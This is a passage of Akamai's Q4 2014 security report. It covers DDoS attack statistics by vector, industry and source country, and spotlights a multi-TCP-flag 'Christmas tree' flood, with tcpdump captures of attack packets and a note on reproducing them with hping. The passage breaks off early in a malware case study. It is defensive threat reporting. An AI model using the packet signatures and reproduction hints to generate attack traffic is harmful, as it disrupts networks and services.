Akamai security report

akamai’s [state of the internet] / security
Q4[2014Report]Volume1
Number2

2
The State of the Internet [security] / Q4 2014 / www.stateoftheinternet.com
TABLE OF CONTENTS
2 [SECTION]1
= ANALYSIS + EMERGING TRENDS
3 At a glance
9 1.1 / Attack vectors
11 1.1A / Infrastructure layer attacks
11 1.1B / Application layer attacks
11 1.1C / Comparison: Attack vectors (Q4 2014, Q3 2014,
Q4 2013)
14 1.2 / Targeted industries
15 1.2A / Gaming industry
16 1.2B / Software + technology
16 1.2C / Internet + telecom
16 1.2D / Media
16 1.2E / Financial services
16 1.3 / Top 10 source countries
17 1.3A / Comparison: Top 10 source countries (Q4 2014,
Q3 2014, Q4 2013)
19 1.4 / Total attacks per week (Q4 2014 vs. Q4 2013)
20 1.5 / Comparison: Attack campaign start times (Q4 2014,
Q3 2014, Q4 2013)
23 [SECTION]2
= ATTACK SPOTLIGHT
24 2.1 / SYN with a side of everything
27 2.2 / Attack attribution
30 [SECTION]3
= CASE STUDY
31 3.1 / Malware classification
32 3.2 / Cross-platform makware
32 3.2A / Multi-platform threats
33 3.3 / Exploitation of publicly known vulnerabilities
33 3.4 / Malware analysis: IptabLes for Microsoft Windows
36 3.5 / A RAT that is operating system aware
36 3.6 / Destructive malware
39 3.7 / Conclusion
40 [SECTION]4
= BOTNET PROFILING TECHNIQUE
41 4.1 / About remote file inclusion attacks
42 4.2 / OS command injection
43 4.3 / Common payloads in botnets
45 4.4 / Botnet findings
45 4.4A / Targets
47 4.4B / Attack traffic origins
48 4.4C / Crawlers disguised as Microsoft Bing bots
49 4.4D / Propagation
50 4.5 / Analysis of botnet capabilities
50 4.5A / Remote shell command execution
50 4.5B / Remote file upload
51 4.5C / SMS sending, controlled by IRC commands
51 4.5D / Other capabilities
51 4.6 / Conclusion
53 [SECTION]5
= PERFORMANCE MITIGATION
55 5.1 / Four categories of bots and scrapers
56 5.1A / Highly desired, low aggression
56 5.1B / Undesired, highly aggressive
56 5.1C / Highly desired, high aggression
57 5.1D / Low desirability, low aggression
57 5.2 / Triage and categorization
58 5.3 / Mitigation
58 5.3A / Undesired, highly aggressive
59 5.3B / Highly desired, high aggression
59 5.3C / Low desirability, low aggression
60 5.3D / Highly desired, low aggression
60 5.4 / Conclusion
62 [SECTION]6
= LOOKING FORWARD

[SECTION]1
ANALYSIS +
EMERGING TRENDS
A
significant increase in the number of DDoS attacks was measured in
Q4 2014: a 57 percent increase compared to last quarter and a 90 percent
increase compared to Q4 2013. No attack size records were broken. A
new attack vector using a Christmas tree packet generated one of the quarter’s nine
largest attacks. It is described in the Attack Spotlight: Multiple TCP Flag DDoS
Attack in this report.
3

4
[SECTION]1
At a glance
Compared to Q4 2013
• 57 percent increase in total DDoS
attacks
• 52 percent increase in average peak
bandwidth
• 77 percent decrease in average peak
packets per second
• 51 percent increase in application
layer attacks
• 58 percent increase in infrastructure
layer attacks
• 28 percent increase in average attack
duration
• 84 percent increase in multi-vector
attacks
• 100+ Gbps attacks: 9 vs. 3
Compared to Q3 2014
• 90 percent increase in total DDoS
attacks
attack bandwidth
packets per second
• 16 percent decrease in application
layer attacks
• 121 percent increase in infrastructure
layer attacks
• 31 percent increase in average attack
duration
• 38 percent increase in multi-vector
attacks
• 100+ Gbps attacks: 9 vs. 17
A DDoS attack vector first observed
last quarter, SSDP flood, was used
substantially more often (214 percent
increase) in Q4 and generated 106 Gbps
of malicious traffic in a campaign.
The size of this attack demonstrates the
expansion of the DDoS threat landscape
by millions of Internet of Things
devices (IoT).
The use of application-layer attacks grew
by 51 percent compared to last quarter,
which was still 16 points below Q4 2013.
Infrastructure-layer attacks occurred 58
percent more often than in the previous
quarter, and 121 percent more than in
Q4 2013. Infrastructure-based attacks
and application-based attacks appeared
in a ratio of 9:1, almost identical to other
quarters in 2014.
Attackers continued to favor a force
over technique approach, which was
aided by the mass exploitation of web
vulnerabilities, the addition of millions
of exploitable Internet-enabled devices, successful botnet building and the
monetization of these resources in the DDoS-for-hire underground.

5
[SECTION]1
Attackers continued renting these botnets, mainly to perform volumetric attacks.
Affordable, simple booter services like these can create sufficient traffic to take
down a typical business or organization that lacks DDoS protection. In addition,
widespread availability of booter services is allowing low-level, non-technical
actors to target victims using criminal techniques similar to express kidnapping:
threatening organizations with DDoS attacks if a ransom is not paid. The targeting
of small and medium-sized organizations without DDoS protection makes
criminals a quick profit.
The expansion of the DDoS-for-hire market also promotes the execution of multi-
vector campaigns, as competition drives availability. As a result, multi-vector
campaigns are being observed in higher numbers than the past. In Q4 2014, 44
percent of DDoS attacks leveraged multiple attack vectors, representing an 84
percent increase in the number of multi-vector attacks since Q4 2013. However, the
ratio of single vector to multi-vector attacks each quarter has remained close to half
of attacks each quarter, as shown in Figure 1.

6
[SECTION]1
Figure 1: While the number of multi-vector attacks has surged the past two quarters, the percentage of
multi-vector campaigns has continued to hover around the 50 percent mark
Malware is often used for DDoS botnet expansion. Malware trends – multi-
platform, operating system awareness and destructive malware – are described in
the malware section of this report. Also in this report is a new botnet analysis
technique that uses distinct code in payloads to map botnet activity, actors and
victim web applications.
The highest bandwidth attack in Q4 was 158 Gbps, generated by a multi-vector
volumetric attack that used a SYN flood, UDP fragment flood and a UDP flood.
Overall, average peak bandwidth increased 52 percent from a year ago but was 54
percent lower than the most recent quarter, as shown in Figure 2.

7
[SECTION]1
Figure 2: Average peak bandwidth has dropped since last quarter, but remains higher than it was a year ago
The highest packet-per-second attack registered 96 million packets-per-second
(Mpps), a 77 percent decrease from the same quarter a year ago and an 83 percent
decrease compared to Q3, as shown in Figure 3.

8
[SECTION]1
100+ Gbps attacks
• Nine attacks
• Gaming companies were most targeted
• Mix of single-vector and multi-vector
attacks
• UDP-based attacks were most common
• Most utilized protocol reflection tactics
(NTP, CHARGEN and SSDP)
Figure 3: Average peak volume dropped significantly, due to the larger number of attacks this quarter, cou-
pled with fewer mega-attacks
Attack duration increased by 31 percent to 29 hours from last quarter at 22 hours.
This increase is similar to a 28 percent year-over-year increase from Q3 2013 at 23 hours.
The United States and China continued as the lead source countries for DDoS
traffic. Instead of the BRIC countries (Brazil, Russia, India and China) block that
dominated last quarter, Q4 DDoS attack traffic came in large part from the United
States, China and Western Europe.
Akamai mitigated nine attacks
that exceeded 100 Gbps in Q4.
Media and gaming were the
top targets of high-bandwidth

9
[SECTION]1
DDoS attacks this quarter. Figure 4, which is ordered chronologically,
shows that the last four attacks that reached 100+ Gbps all targeted the
gaming industry.
All but one of these attacks used a UDP-based attack vector, including reflection-
based UDP floods and traditional UDP floods. As a connectionless protocol, UDP
typically allows for higher throughput than TCP. The UDP flood signature shown
in Figure 5 accounted for the quarter’s second-highest attack volume at 154 Gbps,
as well as the highest volume single-vector attack.
Attacks over 100 Gbps
Figure 4: Akamai mitigated nine mega-attacks in Q4, down from 17 mega-attacks in Q3 2014

10
[SECTION]1
Figure 5: This UDP flood signature was used to generate the highest traffic for a single-vector attack
05:40:30.981171 IP X.X.X.X.50332 X.X.X.X.42014: UDP, length 600
....E..t..@....~....”k......`.QSCSSSQWACIUCUGWEOKSKEGCGOCQMEMKIO-
GYMIAKUGIMSCASWYWUUECYKQEUUYOGEOKMISQAYQCGsnip
The rest of the UDP attacks were a combination of reflection-based vectors,
including NTP, CHARGEN and SSDP reflection. The only TCP attack that exceeded
100 Gbps was the new XMAS-DDoS vector, a TCP-based flood that sets multiple
flags on each packet.
While denial of service attacks can impact site performance significantly, desirable
and malicious web crawlers can also affect site performance to a lesser degree.
Classification, effect and mitigation of bots, spiders and scrapers are described later
in this report.
1.1 / Attack Vectors / The fourth quarter followed the same trend observed earlier
in the year: the ratio of volumetric attacks versus application-based attacks was 9:1.
These numbers repeated throughout 2014, as shown in Figure 6.
Attackers’ preference for volumetric infrastructure-based attacks may be due to ease
of execution: Internet infrastructure is growing. Surging economies and millions of
Internet-enabled devices are being added worldwide, making new resources available
for exploitation, botnet building and DDoS attacks. Infrastructure-based attack
resources are plentiful.

11
[SECTION]1
Figure 6: Infrastructure attacks remained popular in Q4, making up nearly 90 percent of all attack vectors
Types of DDoS attacks and their relative distribution in Q4 2014

12
[SECTION]1
1.1A / Infrastructure Layer Attacks / The most used infrastructure-based attack
vectors were SYN floods (17 percent), SSDP floods (15 percent), UDP fragment
(14 percent), UDP floods (11 percent) and DNS attacks (11 percent). Additionally,
NTP attacks accounted for 8 percent, CHARGEN for 5 percent, ICMP for 4 percent,
ACK floods for 3 percent and RESET flood for 1 percent.
1.1B / Application Layer Attacks / The top application-layer vector was HTTP
GET floods at 8 percent of all attacks, most of which match known DDoS kits such
as Spike. Other application-layer attacks were used less than 2 percent of the time,
including HTTP POST (1 percent), HTTP PUSH (0.5 percent) and HTTP HEAD
(0.2 percent).
Successful application-based attacks require a higher level of attack expertise,
because most DDoS mitigation technology can stop simple HTTP GET and
POST floods. When the requests are refined, randomized and encoded, however,
they may bypass typical mitigation technology.
1.1C / Comparison: Attack Vectors (Q4 2014, Q3 2014, Q4 2013) / A new DDoS
attack vector was introduced in Q4. In late November, XMAS-DDoS with Christmas
tree packets was first observed. It is featured in the Attack Spotlight of this report.
Also, Q4 marked a greater number of all types of infrastructure attacks, except for
ICMP floods, compared to last quarter and Q4 2013. This reflects an overall increase
in number of DDoS attacks.
SYN floods and SSDP reflection floods were used extensively, contributing to the
increase of infrastructure-based attacks. These two attack vectors contributed 17
percent (SYN) and 15 percent (SSDP) to total attacks, as shown in Figure 7. The use
of SYN floods remained consistent with Q3.

13
[SECTION]1
Figure 7: The popularity of attack vectors varies by quarter, but SYN floods and UDP floods remain
perennial favorites

14
[SECTION]1
SSDPaccountedforasignificant214percentincreaseinnumberofattackscompared
to Q3. The SSDP protocol, which is used by UPnP devices, was a newly observed
attack in Q3 and has proven to be an increasingly popular attack vector. It may
not have yet have achieved its full potential. In Q3 2014, for example, an SSDP-
only DDoS attack generated 54 Gbps. This quarter, Akamai mitigated a significantly
larger 106 Gbps SSDP attack. SSDP attacks may prove to be difficult to eradicate,
because in many cases, attack sources comprise Internet-enabled homes around
the world. Home users may lack the expertise to prevent these devices from
becoming unwilling participants in DDoS attacks – they may not even know their
devices are being abused as SSDP reflectors.
In contrast, NTP and DNS servers are more likely to be operated by IT staff able
to detect and mitigate the abuse. New domains are constantly being created for
DNS reflection attacks, and administrators of open DNS resolvers have sought to
mitigate their abuse. NTP reflection attacks have as a result generally produced
less powerful attacks over time. That said, many vulnerable NTP servers are still
available as NTP reflection sources, and one of the nine attacks greater than 100
Gbps in Q4 was fueled by NTP abuse.
The fact that NTP reflection marked an increase in attacks by 181 percent compared
to Q3 is an indicator of the larger number of DDoS attacks overall in Q4, even
though NTP attacks were generally less effective and less popular than in the past.
Malicious actors make use of every resource available to them, including NTP
servers. A source of NTP reflection attacks were DDoS-for-hire sites, where NTP
reflectionwasoneofthemorecommonattackvectorsavailabletopayingcustomers.
Overall, Q4’s infrastructure-based attacks increased 58 percent compared to Q3 and
121 percent compared to the same quarter a year earlier. Application-layer attacks
increased 51 percent over Q3 and dropped 16 percent from a year ago.

15
[SECTION]1
Compared to a year ago, UDP fragment attacks increased 54 percent, and quarter-
over-quartertheyincreased58percent.Manyreflection-basedfloods–suchasDNS,
SNMP and SSDP – generate packets larger than allowed by the typical maximum
transmission unit (MTU). Such packets (exceeding 1,500 bytes) are fragmented
before reaching the target edge network and must be mitigated separately.
Increasing use of reflection attacks accounts for the increase in UDP fragment
floods. The sample stream in Figure 8 shows a typical CHARGEN flood packet. The
packet contained 6,108 bytes of data and was split into five parts.
Figure 8: A fragmented UDP payload, resulting from a single CHARGEN reflection reply
81 0.055162 X.X.X.X - X.X.X.X IPv4 1518 Fragmented IP protocol
(proto=UDP 17, off=0, ID=458a)
87 0.055518 X.X.X.X - X.X.X.X UDP 234 Source port: 19 Destina-
tion port: 2020
The packets do not arrive in order, and only the last packet has the port information,
as shown.
1.2 / Targeted Industries / The five most-attacked verticals in Q4 were gaming
(35percent),softwareandtechnology(26percent),Internetandtelecom(11percent),
media and entertainment (10 percent), and financial services (7 percent), as shown
in Figure 9.

16
[SECTION]1
Figure 9: The gaming industry bore the brunt of DDoS attacks in Q4, driven by a surge in attack activity at
the end of December
Most commonly attacked industries - Q4 2014
1.2A / Gaming Industry / Gaming remained the most targeted industry since
Q2 2014 and experienced a 2 percent increase this quarter. In Q4, attacks were
fueled by malicious actors seeking to gain media attention or notoriety from
peer groups, damage reputations and cause disruptions in gaming services.
Some of the largest console gaming networks were openly and extensively
attacked in December 2014, when more players were likely to be affected.
Another trend was the holding of networks hostage, where the owners were
asked to pay a small ransom to stop a DDoS attack. This industry received a
similar percentage of all SYN floods (36 percent), SSDP floods (35 percent), DNS
floods (35 percent), NTP floods (36 percent) and UDP fragmentation attacks
(37 percent). It received relatively fewer of all UDP floods (26 percent) and GET
floods (25 percent).

17
[SECTION]1
1.2B / Software + Technology / The software and technology industry includes
companies that provide solutions such as Software-as-a-Service (SaaS) and cloud-
based technologies. This industry saw the sharpest climb in attack rates, up 7 percent
from last quarter to 26 percent of all attacks. It received a similar percentage of
all SYN floods (27 percent), SSDP floods (24 percent), UDP fragmentation attacks
(24 percent), UDP floods (25 percent), DNS floods (24 percent), GET floods
(26 percent) and NTP floods (25 percent).
1.2C / Internet + Telecom / The Internet and telecom industry includes companies
that offer Internet-related services such as ISPs and CDNs. Although the target of
only 11 percent of all attacks, which was an increase of 2 percent, this industry was
the target of a disproportionate 18 percent of all DNS flood attacks in Q4. It was also
hit by 11 percent of SSDP floods, 13 percent of UDP floods and 10 percent of UDP
fragmentation attacks.
1.2D / Media / The media industry saw the biggest change in percentage of attacks,
dropping 13 percent compared to last quarter. Although targeted by only 10 percent
of all attacks, it was targeted by a disproportionate 23 percent of GET floods.
It received 12 percent of SYN floods and 13 percent of UDP floods.
1.2E / Financial Services / The financial industry includes major financial
institutions such as banks and trading platforms. The financial industry saw a small
decline (-2 percent) to 7 percent of all DDoS attacks. This industry received a similar
percentage of all attacks including SYN floods (8 percent), UDP fragmentation
attacks (9 percent) and DNS floods (10 percent).
1.3 / Top 10 Source Countries / The United States continued as the most
prolific source country of DDoS attacks, accounting for 32 percent of originating
malicious traffic. It was followed by China (18 percent), Germany (12 percent),

18
[SECTION]1
Mexico (12 percent), France (8 percent), India (4 percent), Spain (4 percent),
United Kingdom (4 percent), Korea (4 percent) and Russia (4 percent), as shown
in Figure 10.
The United States and China together accounted for almost half of all attack traffic
in Q4, while countries in Western Europe (Germany, France, Spain, United
Kingdom) accounted for almost a third.
Figure 10: The US and China accounted for almost 50 percent of attack traffic in Q4 2014
Top 10 source countries for DDoS attacks in Q4 2014
1.3A / Comparison: Top 10 Source Countries (Q4 2014, Q3 2014, Q4 2013) /
The United States and China placed consistently in the top spots for DDoS sources
in Q4 2014, Q3 2014 and Q4 a year ago. Combined, they sourced 40 to 50 percent
of attacks. The United States placed first in Q4 2013 at 24 percent, first in Q3 of 2014
with 24 percent and first in Q4 2014 with 32 percent, as shown in Figure 11.

19
[SECTION]1
China has placed second in all three quarters as well with Q4 2013 (19 percent),
Q3 2014 (20 percent) and Q4 2014 (18 percent).
India and Korea appeared consistently in the top 10 source countries in each of
the three quarters. India ranged from sixth place in Q4 2013 (7 percent), ninth in
Q3 2014 (3 percent) and sixth in Q4 2014 (4 percent). Korea placed fifth in
Q4 2013 (7 percent), fifth in Q3 2014 (6 percent) and ninth in Q4 2014 (4 percent).
Other countries appeared on the list in the past but did not appear more recently.
The United Kingdom did not appear in the top ten source countries last quarter,
but it was fourth in Q4 2013 (8 percent) and eighth in Q4 2014 (4 percent).
Thailand placed third a year ago (14 percent) and tenth in Q3 2014 (3 percent)
but not in Q4 2014. Brazil placed ninth in Q4 a year ago (5 percent) and third in
Q3 2014, but stayed off the list in Q4 2014.
Mexico appeared recently in fourth place in Q3 2014 (14 percent) and in fourth
place in Q4 (12 percent). Similarly, Russia did not appear in Q4 a year ago but placed
eighth in Q3 2014 (3 percent) and tenth in Q4 2014 (4 percent). Germany also did
not appear in Q4 a year ago, but placed sixth in Q3 2014 (6 percent) and third in
Q4 2014 (12 percent).
Other countries with single appearances in the chart in the selected quarters include
Turkey in Q4 2013 (6 percent), Italy in Q4 2013 (6 percent), France in Q4 2014
(8 percent), and Spain in Q4 2014. Japan only appeared in Q3 2014 (4 percent).
In contrast to Q3 when there was a notable presence of BRIC countries, Q4 attack
sources were dominated by the United States, China and Western Europe.

20
[SECTION]1
Figure 11: The US and China consistently make the top 10 list of attack source IPs
Top 10 source countries for DDoS attacks
in Q4 2014, Q3 2014, Q4 2013
1.4/TotalAttacksperWeek(Q42014vs.Q42013)/Figure12showsthepercentage
increase and decrease of the total number of attacks per week in Q4 year-over-
year. Of the three months of the quarter, Akamai mitigated the greatest number of
DDoS attacks in December. The last two weeks were the busiest – with the last week
posting a 1,100 percent increase over the same week a year ago. The boost in activity
in Q4 was attributed to attacks against the gaming industry.

21
[SECTION]1
Figure 12: Weekly DDoS attacks surged in December 2014 compared to December 2013, fueled by attacks
in the gaming industry
Changes in DDoS attacks per week Q4 2014 vs. Q4 2013
1.5 / Comparison: Attack Campaign Start Times (Q4 2014, Q3 2014, Q4 2013) /
Last quarter PLXsert observed that the start times for attacks were becoming more
uniformly spread across a 24 hour period, an observation that led to the hypothesis:
“As targets in previously underrepresented geographic locations increase in value and
foreign tech markets continue to grow, attack [start] times are likely to become more
evenly distributed.” In fact, the same spreading trend continued in Q4. PLXsert
measuredanuptickinattacktargetsinAsia,WesternEuropeandSouthAmericaand
observed an increase in cybersecurity and DDoS-associated technology spending
in China, Germany, France, Spain, India and Korea. The diffusion of attack start
times will likely continue.
A widening scope of targets and the proliferation of attacks across industries and
geographies correlates with the spreading of attack distribution data across a 24-
hour period. Attacks were spread out over more hours and had a lesser range

22
[SECTION]1
between the maximum and minimum number of attacks per hour, as shown in
Figure 13. In the past, attack traffic varied more throughout the day as shown by the
Q4 2013 data.
Figure 13: Attack traffic varied more throughout the day a year ago than in the two most recent quarters.
In the figure, the most recent quarter exemplifies this range reduction. In Q4 2014,
forexample,thelowestpercentageoftotalattacks(2percent)occurredathour16:00,
whilethehighestpercentage(5percent)occurredathour19:00–a3percentdifference.
In contrast, the range of the previous quarter was 4 percent. The least popular hour
of attack, 16:00, had 2 percent of total attacks, and the most popular hour of attack,
00:00, had 6 percent.

23
[SECTION]1
Likewise, Q4 a year ago had a range of almost 8 percent with the least popular
hour of attack, 05:00, at 0.5 percent of attacks, and the most popular hour,
20:00, at 8 percent.
Due to a change in SSL compliance standards associated with the merger of the Prolexic
scrubbing centers and the Akamai Security Operations Center, we have deprecated
SSL attack statistics from this report. Expect to see more detailed information on
application layer attacks in general, and SSL in particular, starting in Q2 2015.

24
[SECTION]2
ATTACK SPOTLIGHT
Multiple TCP Flags
DDoS Attack
A
group claiming to be Lizard Squad has engaged in an ongoing attack
campaign against an Akamai customer. The attack vector and the
events surrounding this attack campaign make it noteworthy, because
it indicates the ongoing development of DDoS attack tools. Although it was not a
record-breaking attack, it was large – peaking at 131 Gigabits per second (Gbps) and
44 Million packets per second (Mpps) – a level that would slow or cause an outage
in most corporate infrastructures. The attacks occurred in August and again in
December.
24

25
[SECTION]2
= ATTACK SPOTLIGHT
2.1 / SYN with a Side of Everything / The TCP-based attack was packed with
TCP flags. One packet exhibited the greatest number of simultaneous flags set of all
the packets – only an ACK flag was missing. The flags are shown within brackets in
the tcpdump output in Figure 14. In the order in which they appear [FSRPUEW],
the flags included FIN, SYN, RST, PSH, URG, ECN, and CWR. Such a flag-filled
packet is commonly called a Christmas tree packet. Such packets are almost always
suspicious. They are designed to take more processing power than usual packets
and thus are commonly used in denial of service attacks. They may also be used for
reconnaissance to see how a target responds.
Although the attack seems to be executed like a SYN flood, there are some
differences that may indicate the use of a new attack tool. The resulting payloads
can be simulated closely using applications such as Scapy and hping (Linux).
Figure 15 simulates the live DDoS packet in Figure 14.
Characteristics of this DDoS attack included the following:
• At least the SYN flag
• Random host targeted in a /24 subnet of x.x.x.Y
• Destination port of 80 (http), 443 (https), or Y (i.e. attacking destination host .236
on port 236
• Consistent attack signature per source IP address
Figure 14: This notable packet had the most flags set during this DDoS campaign
23:56:52.391222 IP 223.85.88.158.46642 X.X.X.165.165: Flags [FSR-
PUEW], seq 3923992143:3923992144, win 24051, urg 0, length 1
Figure 15: A lab reproduction of the packet using hping
10:28:58.987897 IP 10.0.20.15.2215 192.168.20.62.62: Flags
[FSRPUEW], seq 1141824621:1141824622, win 24051, urg 0, length 1

26
[SECTION]2
= ATTACK SPOTLIGHT
Figure 16 shows some of the payloads (attack signatures) to demonstrate their
characteristics.
Figure 16: Samples of attack signatures reveal characteristics of this attack
Source IP is attacking destination host .236 on port 236. Flags, window size and length are consistent.
23:56:52.391386 IP 5.149.101.151.15530 X.X.X.236.236: Flags
[SU], seq 4115245827:4115245828, win 50868, urg 0, length 1
23:56:52.391406 IP 5.149.101.151.60438 X.X.X.236.236: Flags
[SU], seq 873907288:873907289, win 50868, urg 0, length 1
Verbose mode shows that all packets have invalid checksums and Reset cause RST.
23:55:48.344828 IP 78.85.76.6.7812 X.X.X.162.80: Flags [FSRE],
cksum 0x0bf5 (incorrect - 0x0bf4), seq 1460373159:1460373160, win
34109, length 1 [RST 0x00]
23:55:48.344836 IP 78.85.76.6.24487 X.X.X.162.80: Flags [FSRE],
cksum 0xc5b7 (incorrect - 0xc5b6), seq 2149081780:2149081781, win
34109, length 1 [RST 0x00]
02:53:55.220357 IP 112.113.92.78.22997 X.X.X.61.443: Flags
[SRP.E], seq 2232047395:2232047456, ack 0, win 50599, length 61
02:53:55.220417 IP 112.113.92.78.4778 X.X.X.61.443: Flags
[SRP.E], seq 4038508264:4038508325, ack 0, win 50599, length 61
Expanded packet view reveals extra payload data in a crafted packet populating the Reset cause field.
03:34:28.415197 IP (tos 0x0, ttl 247, id 59517, offset 0,
flags [none], proto TCP (6), length 101) 112.113.92.78.17314
X.X.X.61.443: Flags [SRP.E], cksum 0x3d92 (incorrect - 0xe5a1),
seq 3543481302:3543481363, ack 0, win 50599, length 61
[RST+ 0x000x000x000x004^0xd80xbe0x940x800x000x000x98B
0x010x000xad0xe60xd9=0x040x950x000x000x000x000x000x-
000xd4C]

27
[SECTION]2
= ATTACK SPOTLIGHT
In Figure 16, the Reset cause field is populated in TCP packets where the Reset flag
is set and with a length greater than 1. Using hping, similar results can be generated
in a lab environment as shown in the reproduction in Figure 17.
Some of the aspects that make this attack unique also make it less effective.
For example, some of the TCP flag combinations do not even render a response
from the target. Regardless, the attack achieved its goal by generating high traffic
volumes and high packet rates, as shown in Figure 18. This is enough traffic to hinder
or completely clog most corporate infrastructures – and it highlights the ongoing
development of DDoS tools.
Figure 17: An hping reproduction in the lab with extra data showing as Reset cause
00:24:00.121872 IP 10.0.20.15.30312 192.168.20.62.443: Flags
[SRP.E], seq 1647155852:1647155913, ack 1674304533, win 50599,
length 61
00:24:00.121932 IP 10.0.20.15.30313 192.168.20.62.443: Flags
[SRP.E], seq 1276518082:1276518143, ack 948855161, win 50599,
length 61
00:25:00.975537 IP (tos 0x0, ttl 64, id 36810, offset 0, flags
[none], proto TCP (6), length 101)
10.0.20.15.25416 192.168.20.62.443: Flags [SRP.E], cksum 0xd610
(incorrect - 0x8345), seq 1218010765:1218010826, ack 234896243,
win 50599, length 61 [RST+ 0xb00x040x080x070x080x000x-
00(0xb00x040x080x070x090x000x00,0xb00x040x080x070x-
0a0x000x0000xb00x040x080x070x0b0x00]

28
[SECTION]2
= ATTACK SPOTLIGHT
This particular attack appears to be a calling card of sorts for a group claiming to
be Lizard Squad. Each attack against this particular Akamai customer revealed the
same use of multiple TCP flags in each packet. The initial campaign in August,
although mixed with a UDP flood, contained similar characteristics while also
containing some differences that may indicate a new group of attackers.
2.2/AttackAttribution/ Figure19depictsattackdatesforthreeattackcampaigns
that used the multiple-flag DDoS attack. This flag combination has only been
observed in attacks against one Akamai customer.
Distribution of peak bandwidth and packets per second by scrubbing center
Figure 18: Distribution of bandwidth and packets per second

29
[SECTION]2
= ATTACK SPOTLIGHT
AlthoughLizardSquadclaimedresponsibilityfortheattacks,differencesinthethird
attack campaign draw speculation of a new attacker. The first two attack campaigns
targeted two specific web server IP addresses, which could easily be determined by
resolving the target website IP address. In addition, the first two attack campaigns,
despite including an extra attack vector, did not produce even half of the volume of
the third attack campaign.
Although the first two attacks included a UDP flood, as shown in Figure 20, the third
campaign did not make use of the UDP flood attack vector and it was a much larger
attack. The third campaign also targeted random hosts in a specific /24 network and
made use of the extra data in the Reset cause field on the packets with the Reset flag set.
Figure 19: Attacks matching the signature TCP flag attack
Attack Timeline

30
[SECTION]2
= ATTACK SPOTLIGHT
Although there are similar footprints in all three campaigns, the expansion and
sophistication of the third campaign suggests this group has been incorporating
new resources from the DDoS-for-hire underground. These resources have
helped them produce greater volumes of attack traffic in comparison with their
previous campaigns.
The group used social media to amplify its claims of successful attacks,
garnering attention. They were successfully mitigated by Akamai and were not
record-setting attacks.
Figure 20: Signatures from the first two attack campaigns
18:00:43.817691 IP 83.209.193.71.4923 X.X.X.X.50042: Flags
[SPU], seq 1020860622:1020860632, win 51602, urg 0, length 10
12:48:04.847899 IP 186.71.26.140.48315 X.X.X.X.443: Flags
[SRUEW], seq 537104266:537104276, win 47078, urg 0, length 10
12:48:04.847970 IP 186.71.26.107.50271 X.X.X.X.443: Flags
[SRUEW], seq 690249352:690249362, win 47078, urg 0, length 10
Expanded packet view
18:00:43.817856 IP 83.209.193.71.3920 X.X.X.X.50042: Flags
[SPU], seq 3502490088:3502490098, win 51602, urg 0, length 10
.e..E..2.7.....S..G.....P.z........T*......@z@..... .
17:45:43.678146 IP 124.123.183.154.58722 X.X.X.X.8565: UDP,
length 189
....E.....@.8...|{.......b!u..CUAPAKTXLQPEOLBPSZISTRRIBOUJTVMFQK-
PJLCJUOHNPILYSLHNYJAUBJRYNCYDZVUNGCVDZWPKGVTBMRIQLVFQVKQRLFGZOUBX-
JWBSYFRPMHUAVTTULEEXJXKLIIPNBMBWMHDDCDCOXFHGHEODVHWLISVZLCNMWZDJS-
BOYPFNSFQCRVRIFUGJZVKHYKJPX
17:45:43.678147 IP 116.107.35.181.51200 X.X.X.X.49596: UDP,
length 214
....E.....@.;. Stk#............XAPTRSODUNJTQQZSNNJOIXOJHNKMTKFJRY-
CXIDZTSETGZDJQSRCVTNMWRYRVDIMNQRLLGOJORPBEGHKNBXAKDGJDRWAZEHTTGU-
VUDXJEITQZNNAMLMVXDWCHGTNFUEDEPBVMWBALVZIAXWHXTMQBUFNVGSXSBRLEW-
FOXHPAAFKTJFWQBMJZHUSXKJDXSKVGFZDOIRCBBXKYNAZRZEIJQVVP

31
[SECTION]3
CASE STUDY
The Evolution of
Malware: From
Cross Platform to
Destruction
M
alware distribution has evolved through the years – from the first
worms transferred via diskettes (Elk CLoner) to sophisticated viruses
spread across USB interfaces (Conficker). As new types of malicious
software were developed, the term malware was introduced to describe a broad
category that included Trojans, viruses, worms and more.
31

32
[SECTION]3
= CASE STUDY
Innovativeattacktacticsandtechniqueshaveproliferatedovertheyearsasdefenders
of computing systems have become more aware of the tricks malware developers
use to infect systems. Malware authors, in turn, have developed new infection
approaches for new operating systems and now look for ways to widen their nets
further to infect not just one type of machine at a time, but multiple operating
systems at once.
3.1 / Malware Classification / Malicious software can be classified by its features
and implementation details. Each category describes a unique feature of the
malware. A single malware instance can exhibit several features at once.
• Virus: Viruses are executables that replicate themselves recursively. Sometimes
the copy is an evolution of its original form; such viruses are referred to as
polymorphic or metamorphic viruses.
• Worm: Worms are network-pivoting viruses designed to replicate and propagate
themselves across a network of computers. Worms may also infect other host
programs in order to replicate and persist on an infected machine or network.
• Trojan: Trojans are designed to trick users into installing them unknowingly.
Trojans disguise themselves as legitimate software while their true purpose is to
gain unrestricted access to information or to facilitate extortion. In recent years,
banking Trojans have become popular, as have extortion-based Trojans such as
CryptoLocker and CryptoWall. Data encryption has become a common capability
of data-stealing Trojans.
• Backdoor: Backdoors allow remote connections to systems. Remote Access
Trojans (RATs) are a type of backdoor that allows unrestricted remote access to a
victim’s files and system tools.

33
[SECTION]3
= CASE STUDY
3.2 / Cross-Platform Malware / As the line between the types of malicious
software begins to blur, the target platform needs to be considered. In recent
years, there has been an increase in malware code that is both modularized and
framework-oriented. Cross-platform malware, such as Flame and Regin, can infect
multiple platforms and architectures. For example, it may target devices with one of
several processors (ARM, MIPS, x86) or computers with varied operating systems,
and it may have the ability to infect files of differing formats.
3.2A / Multi-Platform Threats / Multi-platform malware is not a new idea, and
implementations vary. Researchers from International Secure System Lab showed
that many malware samples in the wild that target multiple systems are written
in interpreted languages such as Java, Ruby, Perl or Javascript. It is important to
understand the distinction between interpreted languages and compiled or native
languages such as C, C++ or Delphi. A low-level programming language, such as
assembly language or C, would not provide the flexibility to run across multiple
platforms or operating systems due to implementation differences among processor
architectures, operating system application programming interfaces (APIs),
and binary file formats and other low-level structures (e.g., Microsoft Windows
Preinstallation Environment (PE), Mach-O on Apple OS X, and ELF on Linux).
Attackers often fingerprint the targeted systems to identify the best path to mass
infection. For example, malicious actors may write platform-specific code and
target publicly known vulnerabilities in software that is platform independent, such
as a content management system (CMS). This allows the attacker to drop a payload
appropriate to the system running a vulnerable application.

34
[SECTION]3
= CASE STUDY
3.3 / Exploitation of Publicly-Known Vulnerabilities / The exploitation of
vulnerabilities as zero-day attacks (the day the vulnerability becomes known) is
increasingly being combined with newly-modified malware to create a complex
multi-stage exploit. This often involves multiple malware items that have been
weaponized to destroy host systems. In Q4 2014, PLXsert observed such attack
campaigns involving the Shellshock (bash bug) vulnerability exploitation where
attackers chained additional malware to the campaign after successful exploitation.
